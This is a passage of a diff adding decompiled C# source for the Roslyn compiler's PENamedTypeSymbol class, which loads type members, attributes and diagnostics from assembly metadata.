= ContainingPEModule; + InterfaceImplementationHandleCollection interfaceImplementationsOrThrow = containingPEModule.Module.GetInterfaceImplementationsOrThrow(_handle); + if (interfaceImplementationsOrThrow.Count > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(interfaceImplementationsOrThrow.Count); + MetadataDecoder metadataDecoder = new MetadataDecoder(containingPEModule, this); + foreach (InterfaceImplementationHandle item in interfaceImplementationsOrThrow) + { + EntityHandle entityHandle = containingPEModule.Module.MetadataReader.GetInterfaceImplementation(item).Interface; + NamedTypeSymbol namedTypeSymbol = (NullableTypeDecoder.TransformType(TypeWithAnnotations.Create(TupleTypeDecoder.DecodeTupleTypesIfApplicable(NativeIntegerTypeDecoder.TransformType(((MetadataDecoder)metadataDecoder).GetTypeOfToken(entityHandle), item, containingPEModule, ContainingType), item, containingPEModule)), item, containingPEModule, this, this).Type as NamedTypeSymbol) ?? new UnsupportedMetadataTypeSymbol(); + instance.Add(namedTypeSymbol); + } + return instance.ToImmutableAndFree(); + } + return ImmutableArray.Empty; + } + catch (BadImageFormatException mrEx) + { + return ImmutableArray.Create((NamedTypeSymbol)new UnsupportedMetadataTypeSymbol(mrEx)); + } + } + + public override ImmutableArray GetAttributes() + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return ImmutableArray.Empty; + } + if (uncommonProperties.lazyCustomAttributes.IsDefault) + { + CustomAttributeHandle filteredOutAttribute; + CustomAttributeHandle filteredOutAttribute2; + CustomAttributeHandle filteredOutAttribute3; + CustomAttributeHandle filteredOutAttribute4; + CustomAttributeHandle filteredOutAttribute5; + CustomAttributeHandle filteredOutAttribute6; + ImmutableArray customAttributesForToken = ContainingPEModule.GetCustomAttributesForToken(Handle, out filteredOutAttribute, (AttributeDescription)(MightContainExtensionMethods ? AttributeDescription.CaseSensitiveExtensionAttribute : default(AttributeDescription)), out filteredOutAttribute2, (AttributeDescription)((IsRefLikeType && ObsoleteAttributeData == null) ? AttributeDescription.ObsoleteAttribute : default(AttributeDescription)), out filteredOutAttribute3, (AttributeDescription)(IsReadOnly ? AttributeDescription.IsReadOnlyAttribute : default(AttributeDescription)), out filteredOutAttribute4, (AttributeDescription)(IsRefLikeType ? AttributeDescription.IsByRefLikeAttribute : default(AttributeDescription)), out filteredOutAttribute5, (AttributeDescription)((IsRefLikeType && DeriveCompilerFeatureRequiredDiagnostic() == null) ? AttributeDescription.CompilerFeatureRequiredAttribute : default(AttributeDescription)), out filteredOutAttribute6, AttributeDescription.RequiredMemberAttribute); + ImmutableInterlocked.InterlockedInitialize(ref uncommonProperties.lazyCustomAttributes, customAttributesForToken); + if (!ThreeStateHelpers.HasValue(uncommonProperties.lazyHasRequiredMembers)) + { + uncommonProperties.lazyHasRequiredMembers = ThreeStateHelpers.ToThreeState(!filteredOutAttribute6.IsNil); + } + } + return uncommonProperties.lazyCustomAttributes; + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return GetAttributes(); + } + + internal override byte? GetNullableContextValue() + { + if (!_lazyNullableContextValue.TryGetByte(out var value)) + { + byte value2 = default(byte); + value = (ContainingPEModule.Module.HasNullableContextAttribute((EntityHandle)_handle, ref value2) ? new byte?(value2) : _container.GetNullableContextValue()); + _lazyNullableContextValue = value.ToNullableContextFlags(); + } + return value; + } + + internal override byte? GetLocalNullableContextValue() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PENamedTypeSymbol.cs", 758); + } + + private void EnsureNonTypeMemberNamesAreLoaded() + { + if (_lazyMemberNames != null) + { + return; + } + PEModule module = ContainingPEModule.Module; + HashSet hashSet = new HashSet(); + try + { + foreach (MethodDefinitionHandle item in module.GetMethodsOfTypeOrThrow(_handle)) + { + try + { + hashSet.Add(module.GetMethodDefNameOrThrow(item)); + } + catch (BadImageFormatException) + { + } + } + } + catch (BadImageFormatException) + { + } + try + { + foreach (PropertyDefinitionHandle item2 in module.GetPropertiesOfTypeOrThrow(_handle)) + { + try + { + hashSet.Add(module.GetPropertyDefNameOrThrow(item2)); + } + catch (BadImageFormatException) + { + } + } + } + catch (BadImageFormatException) + { + } + try + { + foreach (EventDefinitionHandle item3 in module.GetEventsOfTypeOrThrow(_handle)) + { + try + { + hashSet.Add(module.GetEventDefNameOrThrow(item3)); + } + catch (BadImageFormatException) + { + } + } + } + catch (BadImageFormatException) + { + } + try + { + foreach (FieldDefinitionHandle item4 in module.GetFieldsOfTypeOrThrow(_handle)) + { + try + { + hashSet.Add(module.GetFieldDefNameOrThrow(item4)); + } + catch (BadImageFormatException) + { + } + } + } + catch (BadImageFormatException) + { + } + if (IsValueType) + { + hashSet.Add(".ctor"); + } + Interlocked.CompareExchange(ref _lazyMemberNames, CreateReadOnlyMemberNames(hashSet), null); + } + + private static ICollection CreateReadOnlyMemberNames(HashSet names) + { + switch (names.Count) + { + case 0: + return SpecializedCollections.EmptySet(); + case 1: + return SpecializedCollections.SingletonCollection(names.First()); + case 2: + case 3: + case 4: + case 5: + case 6: + return ImmutableArray.CreateRange(names); + default: + return SpecializedCollections.ReadOnlySet((ISet)names); + } + } + + public override ImmutableArray GetMembers() + { + EnsureAllMembersAreLoaded(); + return _lazyMembersInDeclarationOrder; + } + + private IEnumerable GetEnumFieldsToEmit() + { + UncommonProperties uncommon = GetUncommonProperties(); + if (uncommon == s_noUncommonProperties) + { + yield break; + } + PEModuleSymbol containingPEModule = ContainingPEModule; + PEModule module = containingPEModule.Module; + ArrayBuilder fieldDefs = ArrayBuilder.GetInstance(); + try + { + foreach (FieldDefinitionHandle item in module.GetFieldsOfTypeOrThrow(_handle)) + { + fieldDefs.Add(item); + } + } + catch (BadImageFormatException) + { + } + if (uncommon.lazyInstanceEnumFields.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator2 = fieldDefs.GetEnumerator(); + while (enumerator2.MoveNext()) + { + FieldDefinitionHandle current2 = enumerator2.Current; + try + { + FieldAttributes fieldDefFlagsOrThrow = module.GetFieldDefFlagsOrThrow(current2); + if ((fieldDefFlagsOrThrow & FieldAttributes.Static) == 0 && ModuleExtensions.ShouldImportField(fieldDefFlagsOrThrow, containingPEModule.ImportOptions)) + { + instance.Add(new PEFieldSymbol(containingPEModule, this, current2)); + } + } + catch (BadImageFormatException) + { + } + } + ImmutableInterlocked.InterlockedInitialize(ref uncommon.lazyInstanceEnumFields, instance.ToImmutableAndFree()); + } + int staticIndex = 0; + ImmutableArray staticFields = GetMembers(); + int instanceIndex = 0; + Enumerator enumerator3 = fieldDefs.GetEnumerator(); + while (enumerator3.MoveNext()) + { + FieldDefinitionHandle current3 = enumerator3.Current; + if (instanceIndex < uncommon.lazyInstanceEnumFields.Length && uncommon.lazyInstanceEnumFields[instanceIndex].Handle == current3) + { + yield return uncommon.lazyInstanceEnumFields[instanceIndex]; + instanceIndex++; + } + else if (staticIndex < staticFields.Length && (int)staticFields[staticIndex].Kind == 6) + { + PEFieldSymbol pEFieldSymbol = (PEFieldSymbol)staticFields[staticIndex]; + if (pEFieldSymbol.Handle == current3) + { + yield return pEFieldSymbol; + staticIndex++; + } + } + } + fieldDefs.Free(); + } + + internal override IEnumerable GetFieldsToEmit() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + if ((int)TypeKind == 5) + { + return GetEnumFieldsToEmit(); + } + IEnumerable members = GetMembers(ImmutableArrayExtensions.WhereAsArray(GetMembers(), (Func)((Symbol m) => !(m is TupleErrorFieldSymbol))), (SymbolKind)6, 0); + ArrayBuilder val = null; + foreach (EventSymbol item in GetEventsToEmit()) + { + FieldSymbol associatedField = item.AssociatedField; + if ((object)associatedField != null) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + val.Add(associatedField); + } + } + if (val == null) + { + return members; + } + SmallDictionary val2 = new SmallDictionary(); + int num = 0; + foreach (PEFieldSymbol item2 in members) + { + val2.Add(item2.Handle, (FieldSymbol)item2); + num++; + } + Enumerator enumerator3 = val.GetEnumerator(); + while (enumerator3.MoveNext()) + { + PEFieldSymbol pEFieldSymbol2 = (PEFieldSymbol)enumerator3.Current; + val2.Add(pEFieldSymbol2.Handle, (FieldSymbol)pEFieldSymbol2); + } + num += val.Count; + val.Free(); + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + try + { + FieldSymbol fieldSymbol = default(FieldSymbol); + foreach (FieldDefinitionHandle item3 in ContainingPEModule.Module.GetFieldsOfTypeOrThrow(_handle)) + { + if (val2.TryGetValue(item3, ref fieldSymbol)) + { + instance.Add(fieldSymbol); + } + } + } + catch (BadImageFormatException) + { + } + return instance.ToImmutableAndFree(); + } + + internal override IEnumerable GetMethodsToEmit() + { + ImmutableArray members = GetMembers(); + int index = GetIndexOfFirstMember(members, (SymbolKind)9); + if (!this.IsInterfaceType()) + { + for (; index < members.Length && (int)members[index].Kind == 9; index++) + { + MethodSymbol methodSymbol = (MethodSymbol)members[index]; + if (!methodSymbol.IsDefaultValueTypeConstructor()) + { + yield return methodSymbol; + } + } + } + else + { + if (index >= members.Length || (int)members[index].Kind != 9) + { + yield break; + } + PEMethodSymbol method = (PEMethodSymbol)members[index]; + PEModule module = ContainingPEModule.Module; + ArrayBuilder methodDefs = ArrayBuilder.GetInstance(); + try + { + foreach (MethodDefinitionHandle item in module.GetMethodsOfTypeOrThrow(_handle)) + { + methodDefs.Add(item); + } + } + catch (BadImageFormatException) + { + } + Enumerator enumerator2 = methodDefs.GetEnumerator(); + while (enumerator2.MoveNext()) + { + MethodDefinitionHandle current2 = enumerator2.Current; + if (method.Handle == current2) + { + yield return method; + index++; + if (index == members.Length || (int)members[index].Kind != 9) + { + methodDefs.Free(); + yield break; + } + method = (PEMethodSymbol)members[index]; + } + else + { + int gapSize; + try + { + gapSize = ModuleExtensions.GetVTableGapSize(module.GetMethodDefNameOrThrow(current2)); + } + catch (BadImageFormatException) + { + gapSize = 1; + } + do + { + yield return null; + gapSize--; + } + while (gapSize > 0); + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PENamedTypeSymbol.cs", 1151); + } + } + + internal override IEnumerable GetPropertiesToEmit() + { + return GetMembers(GetMembers(), (SymbolKind)15); + } + + internal override IEnumerable GetEventsToEmit() + { + return GetMembers(GetMembers(), (SymbolKind)5); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers() + { + return GetMembersUnordered(); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + return GetMembers(name); + } + + private void EnsureEnumUnderlyingTypeIsLoaded(UncommonProperties uncommon) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + if ((object)uncommon.lazyEnumUnderlyingType != null || (int)TypeKind != 5) + { + return; + } + PEModuleSymbol containingPEModule = ContainingPEModule; + PEModule module = containingPEModule.Module; + MetadataDecoder metadataDecoder = new MetadataDecoder(containingPEModule, this); + NamedTypeSymbol namedTypeSymbol = null; + try + { + foreach (FieldDefinitionHandle item in module.GetFieldsOfTypeOrThrow(_handle)) + { + FieldAttributes fieldDefFlagsOrThrow; + try + { + fieldDefFlagsOrThrow = module.GetFieldDefFlagsOrThrow(item); + } + catch (BadImageFormatException) + { + continue; + } + if ((fieldDefFlagsOrThrow & FieldAttributes.Static) == 0) + { + FieldInfo val = ((MetadataDecoder)metadataDecoder).DecodeFieldSignature(item); + TypeSymbol type = val.Type; + if (SpecialTypeExtensions.IsValidEnumUnderlyingType(type.SpecialType) && !val.IsByRef && !ModifierInfoExtensions.AnyRequired(val.CustomModifiers)) + { + namedTypeSymbol = (((object)namedTypeSymbol != null) ? new UnsupportedMetadataTypeSymbol() : ((NamedTypeSymbol)type)); + } + } + } + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = new UnsupportedMetadataTypeSymbol(); + } + } + catch (BadImageFormatException mrEx) + { + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = new UnsupportedMetadataTypeSymbol(mrEx); + } + } + Interlocked.CompareExchange(ref uncommon.lazyEnumUnderlyingType, namedTypeSymbol, null); + } + + private void EnsureAllMembersAreLoaded() + { + if (_lazyMembersByName == null) + { + LoadMembers(); + } + } + + private void LoadMembers() + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Invalid comparison between Unknown and I4 + //IL_015e: Unknown result type (might be due to invalid IL or missing references) + //IL_0163: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_027b: Unknown result type (might be due to invalid IL or missing references) + //IL_0282: Invalid comparison between Unknown and I4 + ArrayBuilder val = null; + if (_lazyMembersInDeclarationOrder.IsDefault) + { + EnsureNestedTypesAreLoaded(); + val = ArrayBuilder.GetInstance(); + if ((int)TypeKind == 5) + { + EnsureEnumUnderlyingTypeIsLoaded(GetUncommonProperties()); + PEModuleSymbol containingPEModule = ContainingPEModule; + PEModule module = containingPEModule.Module; + try + { + foreach (FieldDefinitionHandle item in module.GetFieldsOfTypeOrThrow(_handle)) + { + FieldAttributes fieldAttributes; + try + { + fieldAttributes = module.GetFieldDefFlagsOrThrow(item); + if ((fieldAttributes & FieldAttributes.Static) == 0) + { + continue; + } + } + catch (BadImageFormatException) + { + fieldAttributes = FieldAttributes.PrivateScope; + } + if (ModuleExtensions.ShouldImportField(fieldAttributes, containingPEModule.ImportOptions)) + { + PEFieldSymbol pEFieldSymbol = new PEFieldSymbol(containingPEModule, this, item); + val.Add((Symbol)pEFieldSymbol); + } + } + } + catch (BadImageFormatException) + { + } + SynthesizedInstanceConstructor synthesizedInstanceConstructor = new SynthesizedInstanceConstructor(this); + val.Add((Symbol)synthesizedInstanceConstructor); + } + else + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + MultiDictionary privateFieldNameToSymbols = CreateFields(instance); + PooledDictionary val2 = CreateMethods(instance2); + if ((int)TypeKind == 10) + { + bool flag = false; + Enumerator enumerator2 = instance2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (((MethodSymbol)enumerator2.Current).IsParameterlessConstructor()) + { + flag = true; + break; + } + } + if (!flag) + { + instance2.Insert(0, (Symbol)new SynthesizedInstanceConstructor(this)); + } + } + CreateProperties((Dictionary)(object)val2, instance2); + CreateEvents(privateFieldNameToSymbols, (Dictionary)(object)val2, instance2); + Enumerator enumerator3 = instance.GetEnumerator(); + while (enumerator3.MoveNext()) + { + PEFieldSymbol current2 = enumerator3.Current; + if ((object)current2.AssociatedSymbol == null) + { + val.Add((Symbol)current2); + } + } + val.AddRange(instance2); + instance2.Free(); + instance.Free(); + val2.Free(); + } + int num = val.Count; + foreach (ImmutableArray value3 in _lazyNestedTypes.Values) + { + val.AddRange(value3); + } + val.Sort(num, (IComparer)DeclarationOrderTypeSymbolComparer.Instance); + if (IsTupleType) + { + _ = val.Count; + ImmutableArray immutableArray = val.ToImmutableAndFree(); + val = MakeSynthesizedTupleMembers(immutableArray); + num += val.Count; + val.AddRange(immutableArray); + } + ImmutableArray value = val.ToImmutable(); + if (!ImmutableInterlocked.InterlockedInitialize(ref _lazyMembersInDeclarationOrder, value)) + { + val.Free(); + val = null; + } + else + { + val.Clip(num); + } + } + if (_lazyMembersByName == null) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator5 = _lazyMembersInDeclarationOrder.GetEnumerator(); + while (enumerator5.MoveNext()) + { + Symbol current4 = enumerator5.Current; + if ((int)current4.Kind == 11) + { + break; + } + val.Add(current4); + } + } + Dictionary> dictionary = GroupByName(val); + if (Interlocked.CompareExchange(ref _lazyMembersByName, dictionary, null) == null) + { + ICollection value2 = SpecializedCollections.ReadOnlyCollection((ICollection)dictionary.Keys); + Interlocked.Exchange(ref _lazyMemberNames, value2); + } + } + val?.Free(); + } + + internal override ImmutableArray GetSimpleNonTypeMembers(string name) + { + EnsureAllMembersAreLoaded(); + if (!_lazyMembersByName.TryGetValue(name, out var value)) + { + return ImmutableArray.Empty; + } + return value; + } + + public override ImmutableArray GetMembers(string name) + { + EnsureAllMembersAreLoaded(); + if (!_lazyMembersByName.TryGetValue(name, out var value)) + { + value = ImmutableArray.Empty; + } + if (_lazyNestedTypes.TryGetValue(name.AsMemory(), out var value2)) + { + value = ImmutableArrayExtensions.Concat(value, StaticCast.From(value2)); + } + return value; + } + + internal sealed override bool HasPossibleWellKnownCloneMethod() + { + return EnumerableExtensions.Contains(MemberNames, "$"); + } + + internal override ImmutableArray GetTypeMembersUnordered() + { + return ImmutableArrayExtensions.ConditionallyDeOrder(GetTypeMembers()); + } + + public override ImmutableArray GetTypeMembers() + { + EnsureNestedTypesAreLoaded(); + return GetMemberTypesPrivate(); + } + + private ImmutableArray GetMemberTypesPrivate() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (ImmutableArray value in _lazyNestedTypes.Values) + { + instance.AddRange(value); + } + return instance.ToImmutableAndFree(); + } + + private void EnsureNestedTypesAreLoaded() + { + if (_lazyNestedTypes == null) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddRange(CreateNestedTypes()); + Dictionary, ImmutableArray> dictionary = GroupByName(instance); + if (Interlocked.CompareExchange(ref _lazyNestedTypes, dictionary, null) == null) + { + ContainingPEModule.OnNewTypeDeclarationsLoaded(dictionary); + } + instance.Free(); + } + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + EnsureNestedTypesAreLoaded(); + if (_lazyNestedTypes.TryGetValue(name, out var value)) + { + return StaticCast.From(value); + } + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArrayExtensions.WhereAsArray(GetTypeMembers(name), (Func)((NamedTypeSymbol type, int num) => type.Arity == num), arity); + } + + private static ExtendedErrorTypeSymbol CyclicInheritanceError(TypeSymbol declaredBase) + { + CSDiagnosticInfo errorInfo = new CSDiagnosticInfo(ErrorCode.ERR_ImportedCircularBase, declaredBase); + return new ExtendedErrorTypeSymbol(declaredBase, LookupResultKind.NotReferencable, (DiagnosticInfo)(object)errorInfo, unreported: true); + } + + private NamedTypeSymbol MakeAcyclicBaseType() + { + NamedTypeSymbol declaredBaseType = GetDeclaredBaseType(null); + if ((object)declaredBaseType == null) + { + return null; + } + if (BaseTypeAnalysis.TypeDependsOn(declaredBaseType, this)) + { + return CyclicInheritanceError(declaredBaseType); + } + SetKnownToHaveNoDeclaredBaseCycles(); + return declaredBaseType; + } + + private ImmutableArray MakeAcyclicInterfaces() + { + ImmutableArray declaredInterfaces = GetDeclaredInterfaces(null); + if (!IsInterface) + { + return declaredInterfaces; + } + return ImmutableArrayExtensions.SelectAsArray(declaredInterfaces, (Func)((NamedTypeSymbol t) => (!BaseTypeAnalysis.TypeDependsOn(t, this)) ? t : CyclicInheritanceError(t))); + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return PEDocumentationCommentUtils.GetDocumentationComment(this, ContainingPEModule, preferredCulture, cancellationToken, ref _lazyDocComment); + } + + private IEnumerable CreateNestedTypes() + { + PEModuleSymbol moduleSymbol = ContainingPEModule; + PEModule module = moduleSymbol.Module; + ImmutableArray nestedTypeDefsOrThrow; + try + { + nestedTypeDefsOrThrow = module.GetNestedTypeDefsOrThrow(_handle); + } + catch (BadImageFormatException) + { + yield break; + } + ImmutableArray.Enumerator enumerator = nestedTypeDefsOrThrow.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeDefinitionHandle current = enumerator.Current; + yield return Create(moduleSymbol, this, current); + } + } + + private MultiDictionary CreateFields(ArrayBuilder fieldMembers) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Invalid comparison between Unknown and I4 + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Invalid comparison between Unknown and I4 + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + MultiDictionary val = new MultiDictionary(); + PEModuleSymbol containingPEModule = ContainingPEModule; + PEModule module = containingPEModule.Module; + bool flag = false; + bool flag2 = false; + if ((int)TypeKind == 10) + { + if ((int)SpecialType == 0) + { + flag = true; + flag2 = ContainingAssembly.IsLinked; + } + else + { + flag = (int)SpecialType == 32; + } + } + try + { + foreach (FieldDefinitionHandle item in module.GetFieldsOfTypeOrThrow(_handle)) + { + try + { + if (!flag2 && (!flag || (module.GetFieldDefFlagsOrThrow(item) & FieldAttributes.Static) != FieldAttributes.PrivateScope) && !ModuleExtensions.ShouldImportField(module, item, containingPEModule.ImportOptions)) + { + continue; + } + } + catch (BadImageFormatException) + { + } + PEFieldSymbol pEFieldSymbol = new PEFieldSymbol(containingPEModule, this, item); + fieldMembers.Add(pEFieldSymbol); + if ((int)pEFieldSymbol.DeclaredAccessibility == 1) + { + string name = pEFieldSymbol.Name; + if (name.Length > 0) + { + val.Add(name, pEFieldSymbol); + } + } + } + } + catch (BadImageFormatException) + { + } + return val; + } + + private PooledDictionary CreateMethods(ArrayBuilder members) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + PEModuleSymbol containingPEModule = ContainingPEModule; + PEModule module = containingPEModule.Module; + PooledDictionary instance = PooledDictionary.GetInstance(); + bool flag = (int)TypeKind == 10 && (int)SpecialType == 0 && ContainingAssembly.IsLinked; + try + { + foreach (MethodDefinitionHandle item in module.GetMethodsOfTypeOrThrow(_handle)) + { + if (flag || ModuleExtensions.ShouldImportMethod(module, _handle, item, containingPEModule.ImportOptions)) + { + PEMethodSymbol pEMethodSymbol = new PEMethodSymbol(containingPEModule, this, item); + members.Add((Symbol)pEMethodSymbol); + ((Dictionary)(object)instance).Add(item, pEMethodSymbol); + } + } + } + catch (BadImageFormatException) + { + } + return instance; + } + + private void CreateProperties(Dictionary methodHandleToSymbol, ArrayBuilder members) + { + PEModuleSymbol containingPEModule = ContainingPEModule; + PEModule module = containingPEModule.Module; + try + { + foreach (PropertyDefinitionHandle item in module.GetPropertiesOfTypeOrThrow(_handle)) + { + try + { + PropertyAccessors propertyMethodsOrThrow = module.GetPropertyMethodsOrThrow(item); + PEMethodSymbol accessorMethod = GetAccessorMethod(module, methodHandleToSymbol, _handle, propertyMethodsOrThrow.Getter); + PEMethodSymbol accessorMethod2 = GetAccessorMethod(module, methodHandleToSymbol, _handle, propertyMethodsOrThrow.Setter); + if ((object)accessorMethod != null || (object)accessorMethod2 != null) + { + members.Add((Symbol)PEPropertySymbol.Create(containingPEModule, this, item, accessorMethod, accessorMethod2)); + } + } + catch (BadImageFormatException) + { + } + } + } + catch (BadImageFormatException) + { + } + } + + private void CreateEvents(MultiDictionary privateFieldNameToSymbols, Dictionary methodHandleToSymbol, ArrayBuilder members) + { + PEModuleSymbol containingPEModule = ContainingPEModule; + PEModule module = containingPEModule.Module; + try + { + foreach (EventDefinitionHandle item in module.GetEventsOfTypeOrThrow(_handle)) + { + try + { + EventAccessors eventMethodsOrThrow = module.GetEventMethodsOrThrow(item); + PEMethodSymbol accessorMethod = GetAccessorMethod(module, methodHandleToSymbol, _handle, eventMethodsOrThrow.Adder); + PEMethodSymbol accessorMethod2 = GetAccessorMethod(module, methodHandleToSymbol, _handle, eventMethodsOrThrow.Remover); + if ((object)accessorMethod != null || (object)accessorMethod2 != null) + { + members.Add((Symbol)new PEEventSymbol(containingPEModule, this, item, accessorMethod, accessorMethod2, privateFieldNameToSymbols)); + } + } + catch (BadImageFormatException) + { + } + } + } + catch (BadImageFormatException) + { + } + } + + private PEMethodSymbol GetAccessorMethod(PEModule module, Dictionary methodHandleToSymbol, TypeDefinitionHandle typeDef, MethodDefinitionHandle methodDef) + { + if (methodDef.IsNil) + { + return null; + } + methodHandleToSymbol.TryGetValue(methodDef, out var value); + return value; + } + + private static Dictionary> GroupByName(ArrayBuilder symbols) + { + return symbols.ToDictionary((Func)((Symbol s) => s.Name), (IEqualityComparer)StringOrdinalComparer.Instance); + } + + private static Dictionary, ImmutableArray> GroupByName(ArrayBuilder symbols) + { + if (symbols.Count == 0) + { + return s_emptyNestedTypes; + } + return symbols.ToDictionary>((Func>)((PENamedTypeSymbol s) => s.Name.AsMemory()), (IEqualityComparer>)ReadOnlyMemoryOfCharComparer.Instance); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + AssemblySymbol primaryDependency = base.PrimaryDependency; + if (!_lazyCachedUseSiteInfo.IsInitialized) + { + _lazyCachedUseSiteInfo.Initialize(primaryDependency, new UseSiteInfo(primaryDependency).AdjustDiagnosticInfo(GetUseSiteDiagnosticImpl())); + } + return _lazyCachedUseSiteInfo.ToUseSiteInfo(primaryDependency); + } + + protected virtual DiagnosticInfo GetUseSiteDiagnosticImpl() + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Invalid comparison between Unknown and I4 + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Invalid comparison between Unknown and I4 + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Invalid comparison between Unknown and I4 + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Invalid comparison between Unknown and I4 + DiagnosticInfo result = DeriveCompilerFeatureRequiredDiagnostic(); + if (result != null) + { + return result; + } + if (!MergeUseSiteDiagnostics(ref result, CalculateUseSiteDiagnostic())) + { + if (ContainingPEModule.Module.HasRequiredAttributeAttribute((EntityHandle)_handle)) + { + result = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BogusType, this); + } + else if ((int)TypeKind == 2 && (int)SpecialType != 2) + { + TypeSymbol declaredBaseType = GetDeclaredBaseType(null); + if ((object)declaredBaseType != null && (int)declaredBaseType.SpecialType == 0) + { + AssemblySymbol containingAssembly = declaredBaseType.ContainingAssembly; + if ((object)containingAssembly != null && containingAssembly.IsMissing && declaredBaseType is MissingMetadataTypeSymbol.TopLevel { Arity: 0 } topLevel) + { + SpecialType typeFromMetadataName = SpecialTypes.GetTypeFromMetadataName(MetadataHelpers.BuildQualifiedName(topLevel.NamespaceName, topLevel.MetadataName)); + if (typeFromMetadataName - 2 <= 1 || (int)typeFromMetadataName == 5) + { + result = topLevel.GetUseSiteInfo().DiagnosticInfo; + } + } + } + } + } + return result; + } + + internal DiagnosticInfo? GetCompilerFeatureRequiredDiagnostic() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo diagnosticInfo = GetUseSiteInfo().DiagnosticInfo; + if (diagnosticInfo != null && diagnosticInfo.Code == 9041) + { + return diagnosticInfo; + } + return null; + } + + private DiagnosticInfo? DeriveCompilerFeatureRequiredDiagnostic() + { + MetadataDecoder decoder = new MetadataDecoder(ContainingPEModule, this); + DiagnosticInfo val = PEUtilities.DeriveCompilerFeatureRequiredAttributeDiagnostic(this, ContainingPEModule, Handle, (CompilerFeatureRequiredFeatures)(IsRefLikeType ? 1 : 0), decoder); + if (val != null) + { + return val; + } + 